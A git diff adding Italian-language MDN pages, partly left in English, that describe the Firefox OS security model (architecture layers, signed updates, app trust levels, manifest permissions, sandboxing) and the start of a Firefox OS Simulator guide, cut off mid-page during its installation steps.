+<p>La piattaforma Firefox OS usa un modello della sicurezza stratificato con l'obiettivo di mitigare i rischi di violazione ad ogni livello. Contromisure da prima linea e strategie di difesa accurate si uniscono così per fornire globalmente protezioni agli attacchi.</p>
+
+<h3 id="Secure_Architecture">Secure Architecture</h3>
+
+<p>Firefox OS collega le applicazioni basate sul web all'hardware sottostante. Consiste in una stack di tecnologie integrate suddivisa nei seguenti livelli:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5023/platform.png" style="height: 478px; width: 678px;"></p>
+
+<ul>
+ <li>Gaia: La suite delle web app responsabili dell'esperienza utente (app costituite da HTML5, CSS, JavaScript, images, media, e così via).</li>
+ <li>Gecko:Il livello del runtime delle applicazioni che predispone il framework per l'esecuzione delle app e  Implementa le API Web necessarie per ottenere l'accesso alle funzionalità del dispositivo.</li>
+ <li>Gonk: Il Kernel Linux, le librerie di sistema, il firmware e i driver alla base di tutto.</li>
+ <li>The mobile device: Lo smarphone con Firefox OS in esecuzione.</li>
+</ul>
+
+<p>Il livello Gecko si comporta come intermediario tra le app web (al livello Gaia) e il telefono. Il compito di Gonk è rende a lui disponibili le funzionalità hardware affinchè possa gestire l'accesso delle app web alle API web. Gecko si impone così come passaggio obbligato ed unico per le richieste d'accesso comportando l'assenza di un accesso diretto o una "back door" al dispositivo. In sostanza Gecko fornisce i permessi e previene gli accessi non autorizzati.</p>
+
+<h3 id="Secure_System_Deployment">Secure System Deployment</h3>
+
+<p>Firefox OS è già intallato negli smartphone. L'immagine di sistema è creata da una sorgente fidata e conosciuta — di solito gli OEM stessi — responsabile dell' assemblaggio, della creazione della build, del test e della firma digitale del pacchetto distribuito.</p>
+
+<p>Le misure di sicurezza sono attive su tutti il livelli della stack. I privilegi del file sistem sono gestiti dalla Linux's access control list (ACLs). Le app di sistema sono installate su di un volume read-only (che diventa read-write solo durante gli aggiornamenti) e generalmente solo le aree con contenuto utente possono essere read-write. Vari componenti hardware del dispositivo hanno sistemi di sicurezza interni implementati come pratica standard dai produttori (ad esempio nei chipset). Il nucleo centrale della piattaforma (Gecko e Gonk) è strutturato per migliorare la sua resistenza contro potenziali attacchi e le caratteristiche di hardcoding del compilatore sono utilizzate per questo scopo ove possibile. Per altri dettagli vedere <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Runtime_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Runtime_security">sicurezza del Runtime</a>.</p>
+
+<h3 id="Secure_System_Updates">Secure System Updates</h3>
+
+<p>I seguenti aggiornamenti e patch a Firefox OS sono diffusi tramite un processo sicuro elaborato da Mozilla per assicurare il mantenimento dell'integrità dell'immagine sistema sul dispositivo. Anche l'aggiornamento è fornito da fonti affidabili e conosciute— di solito dagli OEM — responsabili dell'assemblggio, della creazione della build build, del test e della firma digitale del pacchetto distribuito.</p>
+
+<p>Gli aggiornamenti di sistema possono influire su tutta la stack o solo su porzioni porzioni della stessa. Se gli aggiornamenti includono modifiche a Gonck sarà usto il processo FOTA (Firmware Over the Air) per l'installazione. Questa metodologia può anche includere cambiamenti su qualsiasi altra parte della stack, inclusa la gestione del dispositivo (FOTA, firmware / driver), la gestione delle impostaioni (Firefox OS settings), gli aggiornamenti sulla sicurezza, Gaia, Gecko, e altro.</p>
+
+<p>GLi aggiornamenti che invece non includono Gonck possono esere effettuati usando la Mozilla System Update Utility. Firefox OS usa lo stesso framework per gli aggiornamenti, i processi, e per il formato Mozilla ARchive (MAR) (usato per i pacchetti di aggiornamento) di Firefox per Desktop.</p>
+
+<p>un servizio integrato — che piò essere fornito dagli OEM — controlla regolarmente se sono disponibili aggiornamenti per il dispositivo in uso, se ve ne sono viene proposta all'utente l'installazione. PRima che il processo di aggiornamento venga avviato è controllato se lo spazio disponibile nel dispositivo è sufficiente e che la distribuazione sia verificata per:</p>
+
+<ul>
+ <li>Provenienza (verifica la locazione della sorgente protocol:domain:port dell'aggiornamento di sistema e del manifesto)</li>
+ <li>Integrità dei File (SHA-256 hash check)</li>
+ <li>Firma digitale (controllo certificato rivolto ai trusted root)</li>
+</ul>
+
+<p>Le seguente misure di sicurezza sono applicate durante il processo di aggiornamento:</p>
+
+<ul>
+ <li>Mozilla consiglia e si aspetta che il recupero degli aggiornamenti avvenga tramite connessioni SSL.</li>
+ <li>Una forte verifica crittografica è richiesta prima dell'installazione di un pacchetto firmware.</li>
+ <li>Tutto l'aggiornamento deve essere scaricato in una specifica locazione sicura prima dell'installazione .</li>
+ <li>Il sistema deve essere in uno stato di sicurezza prima che inizi il processo, senza nessuna app in esecuzione.</li>
+ <li>Le chiavi devono essere salvate in una locazione sicura nel dispositivo.</li>
+</ul>
+
+<p>Sono disposti controlli rigorosi per assiucurare che l'aggiornamento sia propriamente applicato al telefono.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Per maggiori informazioni su come funzionano, sono creati e distribuiti gli aggiornamenti, leggere <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS/Creating_Firefox_OS_update_packages">Creare e applicare pacchetti di aggiornamento per Firefox OS</a>.</p>
+</div>
+
+<h2 id="Sicurezza_nelle_app">Sicurezza nelle app</h2>
+
+<p>Firefox OS usa una precisa strategia per proteggere lo smartphone da applicazioni dannose o intrusive; questa consiste in una serie di meccanismi come: livelli di permessi impliciti basati sul modello di affidabilità delle app, modlità sandbox in runtime, accesso hardware riservato alle sole API, modello dei permessi robusto e  processo sicuro di installazione e aggiornamento. Per dettagli tecnici consultare <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security">Sicurezza delle applicazioni.</a></p>
+
+<p>In Firefox OS, tutte le applicazioni sono app web — programmi scritti in HTML5, JavaScript, CSS, media, ed altre tecnologie web (le pagine web visualizzate nel browser non sono considerate app web in questo contesto). Poichè non ci sono applicazioni binare ("native") installate dall'utente, tutto l'accesso al sistema è delegato strettamente alle API Web. Anche l'accesso al file system è veicolato dalle API Web e da un database back-end SQLite — non c'è accesso diretto dalle app ai file salvati nella scheda SD.</p>
+
+<p>Firefox OS limita e espande la quantità di risorse accessibili o utilizzabili da un'app, mentre inoltre supporta un ampio spettro di applicazioni con vari livelli di permesso. Mozilla ha inoltre implementato uno stretto controllo su che tipo di applicazioni possono accedere alle API Web. Per esempio, solo app certificate (cioè già incluse nel telefono) possono avere accesso all'API Telephony. L'app Dialer hai i privilegi per L'API Telephony per effettuare telefonate, ma ciò non è vero per tutte le app certificate.</p>
+
+<p>Questo previene tutte quelle situazioni in cui, per esempio, le app di terze parti avviano telefonate verso numeri a pagamento, provocando un grosso impatto sulla bolletta telefonica.</p>
+
+<p>Comunque anche altre app OEM selezionate possono avere accesso alle API Telephony. Per esempio, un operatore può fornire un sistema di gestione del proprio account telefonico, per il supporto dei clienti.</p>
+
+<h3 id="Applicazioni_affidabili_e_non">Applicazioni affidabili e non</h3>
+
+<p>Firefox OS divide le app nei seguenti tipi:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th style="width: 82px;">
+    <p>Tipi</p>
+   </th>
+   <th style="width: 102px;">
+    <p>Livello di affidabilità</p>
+   </th>
+   <th style="width: 447px;">
+    <p>Descrizione</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="width: 82px;">
+    <p>Certificate</p>
+   </td>
+   <td style="width: 102px;">
+    <p>Molto affidabili</p>
+   </td>
+   <td style="width: 447px;">
+    <p>App di sistema approvate dagli OEM (a causa di rischi inierenti la corruzione del dispositivo o di sue funzionalità critiche). Solo app di sistema e servizi, escluse le applicazioni di terze parti.<br>
+     Questa designazione è riservata solo ad un piccolo numero di app con rilevanza critica. Esempi: SMS, Bluetooth, fotocamera, orologio di sistema, componente telefonica, e il sistema di composizione di default (per assicurare che i servizi d'emergenza siano sempre disponibili).</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 82px;">
+    <p>Privilegiate</p>
+   </td>
+   <td style="width: 102px;">
+    <p>Affidabili</p>
+   </td>
+   <td style="width: 447px;">
+    <p>App di teze parti recensite, approvate, e firmate digitalmente su un Marketplace autorizzato.</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 82px;">
+    <p>Web (tutto il resto)</p>
+   </td>
+   <td style="width: 102px;">
+    <p>non affidabili</p>
+   </td>
+   <td style="width: 447px;">
+    <p>Contenuto web regolare. include sia le app installate (salvate sullo smartphne) che le hosted (remote, con il solo manifest presente nel dispositivo). Il manifesto per le app hosted può essere ottenuto dal marketplace Marketplace.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Il livello di affidabilità determina, in parte, le capacità dell'applicazione di accedere alle funzionalià del dispositivo.</p>
+
+<ul>
+ <li>Le app certificate hanno accesso alla maggior parte delle operazioni disponibili tramite API Web.</li>
+ <li>Le app privilegiate hanno permessi su un sottoinsieme delle API Web accessibili dalle app certificate.</li>
+ <li>Le restanti hanno disponibile un sottoinsieme ancora più ridotto, ossia sono disponibili solo quelle API Web che hanno sistemi di sicurezza sufficienti all'esposizione a contenuto non affidabile.</li>
+</ul>
+
+<p>Alcune operazioni, come l'accesso alla rete, sono considerate implicite in ogni app. In generale, più l' operazione eseguita è sensibile, più il livello di affidabilità dev'essere elevato (ad esempio, comporre un numero e accedere alla lista dei contatti sono operazioni sensibili).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Per più informazioni sulle API disponibili e il loro livello, conusltare <a href="/en-US/Apps/Developing/App_permissions">permessi delle app</a>.</p>
+</div>
+
+<h4 id="Principio_dei_minimi_permessi">Principio dei minimi permessi</h4>
+
+<p>Per le web app, il framework della sicurezza di Firefox OS segue il<em> principio dei minimi permessi</em>: partire con il livello di permessi minimo, per poi aggiungere altri privilegi solo se necessari e ragionevoli. Di default, un'applicazione è pressochè priva di autorizzazioni, a un livello comprabile a quello delle app non affidabili. Se l'applicazione effettua chiamate alle API che necessitano di autorizzazioni aggiuntive, deve elencarle nel <em>manifest</em> dell'applicazione (che verrà approfondito successivamente in questo documento). Gecko si occuperà di considerare le richieste ed eventualmente di garantire l'accesso alle API Web richieste dall'applicazione, ma solo se le condizioni di privilegio sono espresse esplicitamente nel <em>manifest</em>. Gecko soddisferà le richieste solo se il <em>type</em> della app Web (certificate, affidabili, o web) è sufficientemente qualificato per l'accesso.</p>
+
+<h4 id="Il_processo_di_revisione_delle_app_privilegiate_Marketplace">Il processo di revisione delle app privilegiate Marketplace</h4>
+
+<p>Affinchè un app diventi privilegiata, il fornitore dell'applicazione deve inviarla su in Marketplace autorizzato per l'analisi. Il Marketplace sottopone l'applicazione ad una revisione precisa del codice: verifica la sua autenticità e integrita, assicurando che i permessi richiesti siano effettivamente usati per le finalità indicate, verificando che l'uso dei permessi impliciti sia appropriato e validando ogni interfaccia tra contenuto delle app privilegiate e non, abbiano le appropriate restrizioni per prevenire attacchi che sfruttino l'elevazione dei privilegi. Il Marketplace ha la responsabilità di assicurare che le app non abbiano comportamenti ambigui con i privilegi assegnati.</p>
+
+<p>Dopo che un applicazione è stata approvata, il suo manifesto è firmato digitalmente dal Marketplace e reso disponibile per il download da parte degli utenti. La firma assicura che, anche se lo store online fosse hackerato, l'hacker non possa installare contenuto arbitrario o codice maligno sul dispositivo. Grazie a questo processo di veto le app del Marketplace possono avere accesso ad una più ampia gamma di privilegi rispetto al normale contenuto web. </p>
+
+<div class="note">
+<p><strong>Note</strong>: per saperne di più sui Marketplace e sul <a href="https://marketplace.firefox.com/">Firefox Marketplace</a>, visitare la <a href="/en-US/Marketplace">Marketplace zone</a>.</p>
+</div>
+
+<h3 id="App_Packaged_Hosted">App Packaged Hosted</h3>
+
+<p>Le app per Firefox OS possono essere <em>packaged</em> (salvate sul telefono) o <em>hosted</em> (Salvate su un server remoto, con il solo manifest sul dispositivo). Ci sono delle differenze nel modo in cui la sicurezza è gestita in ogniuna di esse. Inoltre le app packaged e hosted sono eseguite in sandbox, cosa che verrà approfondita più avanti in questo documento.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Per maggiori infomazioni su app Hosted e packaged consultare <a href="/en-US/docs/Mozilla/Marketplace/Publish_options">Opzioni di pubblicazione delle app</a>.</p>
+</div>
+
+<h4 id="App_Packaged">App Packaged</h4>
+
+<p>Un'app packaged consiste in un file ZIP contenete sia le risorse (HTML5, CSS, JavaScript, images, media) che un manifest contenente una dichiarazione esplicita di asset con i relativi hash. Le app certificate e prvilegiate devono essere del tipo packaged perchè il manifest deve essere firmato digitalmente. Quando un utente richiede un app il file ZIP è scaricato sul dispositivo e il manifesto viene letto da una locazione conosciuta all'interno del file ZIP. Durante il processo di installazione gli assets dell'applicazione sono verificati e rimangono salvati locamente nel pacchetto. L' esplicitazione di tutti i permessi, mostrando all'utente come l'app intende maneggiare i dati personali, è richiesta al runtime e deve rimanere tale per default.</p>
+
+<p>Per fare riferimento alle risorse in un app packaged si usa un URL con all'inizio la dicitura app: nel seguente formato:</p>
+
+<p><code>app://<em>identificatore</em>/<em>percorso_interno_al_file_zip</em>/file.html</code></p>
+
+<p>dove app:// rappresenta il punto di montaggio del file ZIP, e l'<em>identificatore</em> è un UUID generaato all'installazione dell'app nel telefono. Questo meccanismo assicura che le risorse siano identificate con un app: URL che contiene il file ZIP. Il percorso in app: è relativo, quindi i collegamenti alle risorse nel file ZIP sono permessi.</p>
+
+<p>Mentre le app packaged sono create principalmente per essere app certifcate o privilegiate, anche le normali app wab possono essere packaged. However, they do not gain any increase in trust or permissions access simply because they are packaged.</p>
+
+<h4 id="App_Hosted">App Hosted</h4>
+
+<p>Le app Hosted sono posizionate su un server web e caricate tramite HTTP. Solo il manifest è salvato sul dispositivo le restanti comonenti si trovano su server remoti. Certe API sono disponibili solo alle app certificate o privilegiate (ossia privilegiate). Perciò, un'app hosted non potrà avere accesso alle operazioni delle API Web che richiedono lo status di app privilegiate o certificate.</p>
+
+<p>Dal punto di vista della sicurezza le app hosted sono trattaate come comuni siti web. Un'app hosted è caricata invocando un URL hard-coded, e completamente qualificato che punta alla pagina d'avvio nella cartella radice dell'app su quel server web. Una volta che un'app hosted è caricata, il telefono la collega alle pagine usando gli stessi URL che sono usati nonrmalmente navigando nel sito web.</p>
+
+<h3 id="App_Manifest">App Manifest</h3>
+
+<p>Un manifest di una Open Web App contiene informazioni che un browser Web necessita per interagire con un'app, è un file JSON con (almeno) un nome e una descrizione per l'applicazione. Per maggiori dettagli, fare riferimento a <a href="/en-US/docs/Apps/FAQs/About_app_manifests" title="/en-US/docs/Apps/FAQs/About_app_manifests">FAQ sui manifest delle app</a>.</p>
+
+<h4 id="Manifest_d'esempio">Manifest d'esempio</h4>
+
+<p>il codice seguente è un esempio di manifest con alcune semplici impostazioni:</p>
+
+<pre class="brush:text">{
+  "name": "Il titolo dell'applicazione va qui",
+  "description": "La descrizione dell'applicazione va qui",
+  "launch_path": "/",
+  "icons": {
+    "128": "/img/icon-128.png"
+  },
+  "developer": {
+    "name": "il tuo nome o quello dell'organizzazione",
+    "url": "http://la-tua-homepage-va-qui.org"
+  },
+  "default_locale": "it"
+}</pre>
+
+<h3 id="Le_impostazioni_di_sicurezza_del_Manifest">Le impostazioni di sicurezza del Manifest</h3>
+
+<p>Il manifest può contenere varie informazioni, incluse le seguenti impostazioni sulla sicurezza:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th style="width: 152px;">
+    <p>Campo</p>
+   </th>
+   <th style="width: 479px;">
+    <p>Descrizione</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="width: 152px;">
+    <p>permissions</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Permissions required by the app. An app must list every Web API it intends to use that requires user permission. Most permissions make sense for privileged apps or certified apps, but not for hosted apps. Properties per API:</p>
+
+    <ul>
+     <li><strong>description</strong>: A string specifying the intent behind requesting use of this API. Required.</li>
+     <li><strong>access</strong>: A string specifying the type of access required for the permission. Implicit permissions are granted at install time. Required for only a few APIs. Accepted values: <strong>read</strong>, <strong>readwrite</strong>, <strong>readcreate</strong>, and <strong>createonly</strong>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>installs_allowed_from</p>
+   </td>
+   <td style="width: 479px;">
+    <p>The Origin of the app; can be singular or an array of origins (scheme+unique hostname) that are allowed to trigger installation of this app. Allows app providers to restrict installs from only an authorized Marketplace (such as <a href="https://marketplace.firefox.com/">https://marketplace.firefox.com/</a>).</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>csp</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Content Security Policy (CSP). Applied to all pages loaded in the app. Used to harden the app against bugs that would allow an attacker to inject code into the app. If unspecified, privileged and certified apps have system-defined defaults. Syntax:<br>
+     <a href="https://developer.mozilla.org/en-US/docs/Apps/Manifest#csp">https://developer.mozilla.org/en-US/docs/Apps/Manifest#csp</a></p>
+
+    <p><em>Note that this directive can only increase the CSP applied. You cannot use it, for example, to reduce the CSP applied to a privileged App.</em></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>type</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Type of application (web, privileged, or certified).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Firefox OS requires that the manifest be served with a specific mime-type (<code>application/x-web-app-manifest+json</code>) and from the same fully-qualified host name (origin) from which the app is served. This restriction is relaxed when the manifest app (and thus the app manifest) is same-origin with the page that requested the app to be installed. This mechanism is used to ensure that it's not possible to trick a website into hosting an application manifest.</p>
+
+<h3 id="Sandboxed_Execution">Sandboxed Execution</h3>
+
+<p>This section describes application and execution sandboxes.</p>
+
+<h4 id="Application_Sandbox">Application Sandbox</h4>
+
+<p>The Firefox OS security framework uses sandboxing as a defense-in-depth strategy to mitigate risks and protect the mobile phone, platform, and data. Sandboxing is a way of putting boundaries and restrictions around an app during run-time execution. Each app runs in its own worker space and it has access only to the Web APIs and the data it is permitted to access, as well as the resources associated with that worker space (IndexedDB databases, cookies, offline storage, and so on).</p>
+
+<p>The following figure provides an overview of this security model.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5025/sandbox.png"></p>
+
+<p>By isolating each app, its impact is contained within its own worker space and it cannot interfere with anything (such as other apps or their data) outside of that worker space.</p>
+
+<h4 id="Execution_Sandbox">Execution Sandbox</h4>
+
+<p>B2G (Gecko) runs in a highly-privileged system process that has access to hardware features in the mobile phone. At runtime, each app runs inside an execution environment that is a child process of the B2G system process. Each child process has a restricted set of OS privileges — for example, a child process cannot directly read or write arbitrary files on the file system. Privileged access is provided through Web APIs, which are mediated by the parent B2G process. The parent ensures that, when a child process requests a privileged API, it has the necessary permission to perform this action.</p>
+
+<p>Apps communicate only with the B2G core process, not with other processes or apps. Apps do not run independently of B2G, nor can apps open each other. The only “communication” between apps is indirect (for example, when one app sets a system alarm and another app triggers a system notification as a result of it), and is mediated through the B2G process.</p>
+
+<h4 id="Hardware_Access_Only_via_the_Web_API">Hardware Access Only via the Web API</h4>
+
+<p>Web apps have only one entry point to access mobile phone functionality: the Firefox OS Web APIs, which are implemented in Gecko. Gecko provides the sole gateway to the mobile device and underlying services. The only way to access device hardware functionality is to make a Web API call. There is no “native” API and there are no other routes (no “back doors”) to bypass this mechanism and interact directly with the hardware or penetrate into low-level software layer.</p>
+
+<h2 id="Security_Infrastructure">Security Infrastructure</h2>
+
+<p>The following figure shows the components of the Firefox OS security framework:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5027/securityframework.png" style="height: 591px; width: 979px;"></p>
+
+<ul>
+ <li><strong>Permission Manager</strong>: Gateway to accessing functionality in the Web API, which is the only access to the underlying hardware.</li>
+ <li><strong>Access Control List</strong>: Matrix of roles and permissions required to access Web API functionality.</li>
+ <li><strong>Credential Validation</strong>: Authentication of apps/users.</li>
+ <li><strong>Permissions Store</strong>: Set of privileges required to access Web API functionality.</li>
+</ul>
+
+<h3 id="Permissions_Management_and_Enforcement">Permissions Management and Enforcement</h3>
+
+<p>Firefox OS security is designed to verify and enforce the permissions granted to web apps.</p>
+
+<p>The system grants a particular permission to an app only if the content requests it, and only if it has the appropriate permissions requested in the app’s manifest. Some permissions require further authorization from the user, who is prompted to grant permission (as in the case of an app requesting access to the user’s current location). This app-centric framework provides more granular control over permissions than traditional role-centric approaches (in which individual roles are each assigned a set of permissions).</p>
+
+<p>A given Web API has a set of actions and listeners. Each Web API has a required level of permission. Every time a Web API is called, Gecko checks permission requirements (role lookup) based on:</p>
+
+<ul>
+ <li>Permissions associated with calling app (as specified in the manifest and based on the app type.)</li>
+ <li>Permissions required to execute the requested operation (Web API call.)</li>
+</ul>
+
+<p>If the request does not meet the permission criteria, then Gecko rejects the request. For example, untrusted apps cannot execute any Web APIs that are reserved for trusted apps.</p>
+
+<h3 id="Prompting_Users_for_Permission">Prompting Users for Permission</h3>
+
+<p>In addition to permissions that are implicitly associated with the web apps, certain operations require explicit permission from the user before they can be executed (for example, "can the web app access your camera?"). For these operations, web apps are required to specify, in their manifest, their justification for requiring this permission. This <em>data usage intention</em> informs users about what the web app intends to do with this data if permission is granted, as well as any risk involved. This allows users to make informed decisions and maintain control over their data.</p>
+
+<h3 id="Secure_App_Update_Process">Secure App Update Process</h3>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/5029/updateprocess.png" style="height: 102px; width: 979px;"></p>
+
+<p>For app upgrades and patches to a <em>privileged</em> app, app providers submit the updated package to an authorized Marketplace, where it is reviewed and, if approved, signed and made available to users. On Firefox OS devices, an App Update Utility periodically checks for app updates. If an update is available, then the user is asked whether they want to install it. Before a update is installed on the mobile device, the package is verified for:</p>
+
+<ul>
+ <li>Update origin (verify the source location protocol:domain:port of the update and manifest)</li>
+ <li>File integrity (SHA-256 hash check)</li>
+ <li>Code signature (certificate check against a trusted root)</li>
+</ul>
+
+<p>Rigorous checks are in place to ensure that the update is applied properly to the mobile phone. The complete update package must be downloaded in a specific and secure location before the update process begins. Installation does not overwrite any user data.</p>
+
+<div class="note">
+<p><strong>Note</strong>: For more information on app updates, read <a href="/en-US/Apps/Developing/Updating_apps">Updating apps</a>.</p>
+</div>
+
+<h2 id="Device_Security_(Hardware)">Device Security (Hardware)</h2>
+
+<p>Security mechanisms for the mobile device hardware are typically handled by the OEM. For example, an OEM might offer SIM (Subscriber Identity Module) card locks, along with PUK (PIN Unlock Key) codes to unlock SIM cards that have become locked following incorrect PIN entries. Contact your OEM for details. Firefox OS does allow users to configure passcodes and timeout screens, which are described in the next section.</p>
+
+<h2 id="Data_Security">Data Security</h2>
+
+<p>Users can store personal data on their phone that they want to keep private, including contacts, financial information (bank &amp; credit card details), passwords, calendars, and so on. Firefox OS is designed to protect against malicious apps that could steal, exploit, or destroy sensitive data.</p>
+
+<h3 id="Passcode_and_Timeout_Screens">Passcode and Timeout Screens</h3>
+
+<p>Firefox OS allows users to set a passcode to their mobile phone so only those who supply the passcode can use the phone. Firefox OS also provides a timeout screen that is displayed after a configurable period of phone inactivity, requiring passcode authentication before resuming use of the phone.</p>
+
+<h3 id="Sandboxed_Data">Sandboxed Data</h3>
+
+<p>As described earlier, apps are sandboxed at runtime. This prevents apps from accessing data that belongs to other apps <em>unless</em> that data is explicitly shared, and the app has sufficient permissions to access it.</p>
+
+<h3 id="Serialized_Data">Serialized Data</h3>
+
+<p>Web apps do not have direct read and write access to the file system. Instead, all access to storage occurs only through Web APIs. Web APIs read from, and write to, storage via an intermediary SQLite database. There is no direct I/O access. Each app has its own data store, which is serialized to disk by the database.</p>
+
+<h3 id="Data_Destruction">Data Destruction</h3>
+
+<p>When a user uninstalls an app, all of the data (cookies, localStorage, IndexedDB, and so on) associated with that application is deleted.</p>
+
+<h3 id="Privacy">Privacy</h3>
+
+<p>Mozilla is committed to protecting user privacy and user data according to its privacy principles (<a href="https://www.mozilla.org/privacy/">https://www.mozilla.org/privacy/</a>), which stem from the Mozilla Manifesto (<a href="https://www.mozilla.org/about/manifesto.html">https://www.mozilla.org/about/manifesto.html</a>). The Mozilla Firefox Privacy Policy describes how Mozilla collects and uses information about users of the Mozilla Firefox web browser, including what Firefox sends to websites, what Mozilla does to secure data, Mozilla data practices, and so on. For more information, see:</p>
+
+<ul>
+ <li><a href="http://www.mozilla.org/en-US/legal/privacy/firefox.html">http://www.mozilla.org/en-US/legal/privacy/firefox.html</a></li>
+ <li><a href="https://blog.mozilla.org/privacy/">https://blog.mozilla.org/privacy/</a></li>
+ <li><a href="http://support.mozilla.org/en-US/kb/privacy-and-security-settings-firefox-os-phones">http://support.mozilla.org/en-US/kb/privacy-and-security-settings-firefox-os-phones</a></li>
+</ul>
+
+<p>Firefox OS implements these principles by putting the control of the user data in the hands of the user, who gets to decide where this personal information goes. Firefox OS provides the following features:</p>
+
+<ul>
+ <li>Do Not Track option</li>
+ <li>ability to disable Firefox browser cookies</li>
+ <li>ability to delete the Firefox OS browsing history</li>
+</ul>
diff --git a/files/it/archive/b2g_os/simulator/index.html b/files/it/archive/b2g_os/simulator/index.html
new file mode 100644
index 0000000000..fd5cf7e8ce
--- /dev/null
+++ b/files/it/archive/b2g_os/simulator/index.html
@@ -0,0 +1,244 @@
+---
+title: Firefox OS Simulator
+slug: Archive/B2G_OS/Simulator
+translation_of: Archive/B2G_OS/Simulator
+---
+<div class="warning">
+ Il simulatore di Firefox OS non supporta attualmente Mac OS X 10.9 (Mavericks). Per i dettagli vedere il <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=930511">bug 930511</a> . C'è una soluzione che consiste nel far partire Firefox dal file immagine (DMG) senza installarlo realmente.</div>
+<div class="note">
+ <p>Firefox OS Simulator é ancora in stato di sviluppo, e non è ancora affidabile e completo come noi vorremmo che fosse.</p>
+ <p>Se trovate qualsiasi bug, vi preghimo di <a href="https://github.com/mozilla/r2d2b2g/issues?state=open">segnalarlo su GitHub</a>, per qualsiasi domanda scrivete alla <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">mailing list </a><a href="https://lists.mozilla.org/listinfo/dev-developer-tools">dev-developer-tools</a> oppure a <a href="irc://irc.mozilla.org/#devtools">#devtools su irc.mozilla.org</a>.</p>
+ <p>Leggi <a href="#Simulator-verbose-logging" title="#Simulator-verbose-logging">Come attivare il verbose logging</a> e <a href="#Simulator-latest-preview-build" title="#Simulator-latest-preview-build">ricevere l'ultima preview build </a>nella sezione <a href="#Unsupported-APIs" title="#Unsupported-APIs">Getting help</a>.</p>
+</div>
+<p>L'add-on Firefox OS Simulator è uno strumento che vi permette di testare e debaggare la vostra <a href="/en-US/docs/Apps" title="/en-US/docs/Apps">app Firefox OS</a> sul desktop. Il ciclo codice-test é molto più veloce rispetto al simulatore piuttosto che con un dispositivo reale, e ovviamente, non avrete bisogno di un dispositivo reale per utilizzarlo.</p>
+<p>Essentially, the Simulator add-on consists of:</p>
+<ul>
+ <li><strong>the Simulator</strong>: this includes the <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">Firefox OS desktop client</a>, which is a version of the higher layers of <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> that runs on your desktop. The Simulator also includes some <a href="#Simulator-toolbar" title="#Simulator-toolbar">additional emulation features</a> that aren't in the standard Firefox OS desktop builds.</li>
+ <li><strong>the Dashboard</strong>: a tool hosted by the Firefox browser that enables you to start and stop the Simulator and to install, uninstall, and debug apps running in it. The Dashboard also helps you push apps to a real device, and checks app manifests for common problems.</li>
+</ul>
+<p>The screenshot below shows a debugging session using the Simulator.</p>
+<p>The Dashboard is on the top-right, running inside a Firefox tab. We've added one app, a packaged app called "Where am I?". At the top-left the app is running in the Simulator. We've also connected the debugging tools, which are in the panel at the bottom. You can see that the Console pane displays messages about the app.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5513/Simulator-overview-4.0.png"></p>
+<p>This guide covers the following topics:</p>
+<ul>
+ <li><a href="#Installing" title="#Installing">how to install the Simulator add-on</a></li>
+ <li><a href="#Adding-updating-removing" title="#Adding-updating-removing">how to add, remove, and refresh apps</a></li>
+ <li><a href="#Manifest-validation" title="#Manifest-validation">manifest validation</a></li>
+ <li><a href="#Running-the-Simulator" title="#Running-the-Simulator">how to run the Simulator</a></li>
+ <li><a href="#Attaching-developer-tools" title="#Attaching-developer-tools">how to connect developer tools such as the JS debugger to apps running in the Simulator</a></li>
+ <li><a href="#Simulator-receipts" title="#Simulator-receipts">how to get test receipts for a paid app</a></li>
+ <li><a href="#Push-to-device" title="#Push-to-device">how to push apps to a connected device</a></li>
+ <li><a href="#Limitations" title="#Limitations">the limitations of the Simulator compared with a real Firefox OS device</a></li>
+</ul>
+<div class="note">
+ For a practical walkthrough that shows how to use the Simulator to debug a real web app, see the <a href="/en-US/docs/Tools/Firefox_OS_Simulator/Simulator_Walkthrough" title="/en-US/docs/Tools/Firefox_OS_Simulator/Simulator_Walkthrough">Simulator Walkthrough</a> page.</div>
+<h2 id="Installing_the_Simulator_add-on"><a name="Installing_the_Simulator">Installing the Simulator add-on</a></h2>
+<p>The Simulator is packaged and distributed as a Firefox add-on. To install it:</p>
+<ol>
+ <li>Using Firefox, go to <a href="https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/" title="https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/">the Simulator's page on addons.mozilla.org</a>.</li>
+ <li>Click "Add to Firefox".</li>
+ <li>Once the add-on has downloaded you will be prompted to install it: click "Install Now".</li>
+</ol>
+<p>Because of the size of the add-on, Firefox may freeze for several seconds while installing it, and a dialog titled "Warning: Unresponsive script" may appear. It it does, click "Continue" to wait for installation to finish. This should not occur from Firefox 27 onwards.<br>
+ <br>
